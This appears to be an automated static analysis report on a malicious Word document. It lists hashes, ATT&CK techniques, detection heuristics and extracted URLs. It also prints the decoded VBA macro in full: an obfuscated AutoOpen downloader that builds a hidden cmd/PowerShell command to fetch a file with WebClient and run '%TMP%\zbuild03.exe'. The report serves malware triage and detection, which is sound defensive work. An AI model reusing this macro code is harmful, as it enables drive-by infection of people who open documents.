Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cd70391b16d753f2…

MALICIOUS

Office (OLE)

106.0 KB Created: 2017-12-01 19:05:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 3d6c6fdab60268575ccc6b786168ad1b SHA-1: 3cb9ce552c1da0b748b8e344cb85147697d3208a SHA-256: cd70391b16d753f26e491952649f7b1f8e0934e755327753e0470f9d75344afb
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening a document. The macro utilizes CreateObject to execute a payload, likely '%TMP%\zbuild03.exe', and attempts to download additional components using a WebClient. The obfuscated nature of the script and the use of CreateObject suggest a downloader or droppper functionality.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3949 bytes
SHA-256: 3db50f07d5c62ab6a70ea111a71da03c8e38d04873bd6f8ae70c3e5f57df7e02
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iJHuhuuEE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function zYIZElUsXm()
Dim RzWraHPRBI17 As String
RzWraHPRBI17 = "cEPwTClyxW56"
Dim UpaRkDOJfu88 As Integer
UpaRkDOJfu88 = 6
Do While UpaRkDOJfu88 < 13
DoEvents: UpaRkDOJfu88 = UpaRkDOJfu88 + 1
Loop
Dim ywbPwgGdIt68 As Currency
ywbPwgGdIt68 = "82"
End Function

Sub GxYdZVXJcc()
Dim OVmRutTlWP18 As String
OVmRutTlWP18 = "LRSDLWMtDX64"
Dim lhTDDmGBNi27 As Integer
lhTDDmGBNi27 = 4
Do While lhTDDmGBNi27 < 54
DoEvents: lhTDDmGBNi27 = lhTDDmGBNi27 + 1
Loop
Dim EyWEdqvIHo17 As Currency
EyWEdqvIHo17 = "61"
End Sub
Function JHghuhuGGU()
OEJfiEhuuEHUteg = "'%TMP%\zbuild03.exe')"
OfkOjIejiHE = uhgUEGyf.jixjiihd + "Rt-" + iosdjie.kfJIEjfHeUHfet + "e`sS '%TMP%\zbuild03.exe';"
JHghuhuGGU = iosdjie.QodiWhf + isidhue.PWdIWUhfe + OEJfiEhuuEHUteg + OfkOjIejiHE
End Function
Sub AutoOpen()
ghUEuGUufGUe = OEjfIEhuet + VJIEfuEHt
kiiiHEHu = uhgUEGyf.viishdh
OEjjiEIiieI = pEofOEjfiEOO + IEhufUEh + eoJFieue
KfjjIIhei = "ell"
EIjfiHEUUU = OIEJiEIHFUOO
Set pOIJiJIHuuEUUf = CreateObject( _
"" + kiiiHEHu + "p" + uhgUEGyf.ibhuhug + "h" + KfjjIIhei + "")
pOIJiJIHuuEUUf.Run ovsJIjgijIR(pjdsjfoghudr), 0
End Sub
Function ovsJIjgijIR(pjdsjfoghudr)
aisUWHiufWr = hdfudru.idsfuduf + hdfudru.obsjie + "ECT ('" + hdfudru.isjgkr + "'+'N'+'et.WebCli'+'en'+'t'))"

IEfuheufhu = ""

oJofjiJE = hdfudru.isdihs + "S" + hdfudru.Caption + ""
JIhHUUfggF = oJofjiJE & aisUWHiufWr

uhuGEyfgyGE = JIhHUUfggF + iJHuhuuEE.JHghuhuGGU
udgge = "c"
jgiEhghuue = uhgUEGyf.ibhdur
jIheuGtyye = udgge + jgiEhghuue
IEfhuEUghfy = jIheuGtyye + " /c " + uhuGEyfgyGE + " "
ovsJIjgijIR = IEfhuEUghfy
IFHEUHfuh = iJHuhuuEE.TePhZbFebw79 + iJHuhuuEE.zYIZElUsXm
End Function
Function TePhZbFebw79()
Dim vEvUiYcRXI95 As String
vEvUiYcRXI95 = "IpHHLxDhFM41"
Dim oWOHDXIpay13 As Integer
oWOHDXIpay13 = 2
Do While oWOHDXIpay13 < 31
DoEvents: oWOHDXIpay13 = oWOHDXIpay13 + 1
Loop
Dim lSBTdQkLJu83 As Currency
lSBTdQkLJu83 = "46"
End Function
Sub nLMrcwxaNK()
Dim rguRMKnley51 As String
rguRMKnley51 = "CGXXbBpWbl19"
Dim uwdtqGvYkT31 As Integer
uwdtqGvYkT31 = 2
Do While uwdtqGvYkT31 < 65
DoEvents: uwdtqGvYkT31 = uwdtqGvYkT31 + 1
Loop
Dim RUQqgkTaSE11 As Currency
RUQqgkTaSE11 = "35"
End Sub


Attribute VB_Name = "uhgUEGyf"
Attribute VB_Base = "0{9F236C88-F81F-4810-850C-EBB9C45E3418}{495C6439-A860-48DF-96F3-782C1DBB4D98}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "hdfudru"
Attribute VB_Base = "0{2C565933-1B14-4D13-B4F1-2C000B797575}{62DCE0F3-24C5-4A7D-BB0B-8AA8DFC22518}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "ishduse"
Attribute VB_Base = "0{D51DD4CB-CDD8-4533-B9C8-464A8F269E8E}{D92C471A-6F87-4D27-AFFD-0DE9BE5A70F4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "iosdjie"
Function kfJIEjfHeUHfet()
OfjEIfhuE = "P"
kEOjfiiejE = "R"
JfhUEHfUWgr = "oC"
kfJIEjfHeUHfet = OfjEIfhuE + kEOjfiiejE + JfhUEHfUWgr
End Function
Function QodiWhf()
IefhuEYgfg = uhgUEGyf.Caption
QodiWhf = ".('Do" + "wn'+'lo" + "ad'+'" + IefhuEYgfg + "'"
End Function

Attribute VB_Name = "isidhue"
Function PWdIWUhfe()
PWdIWUhfe = ").Invoke('h" + ishduse.isdisiet + "xe',"
End Function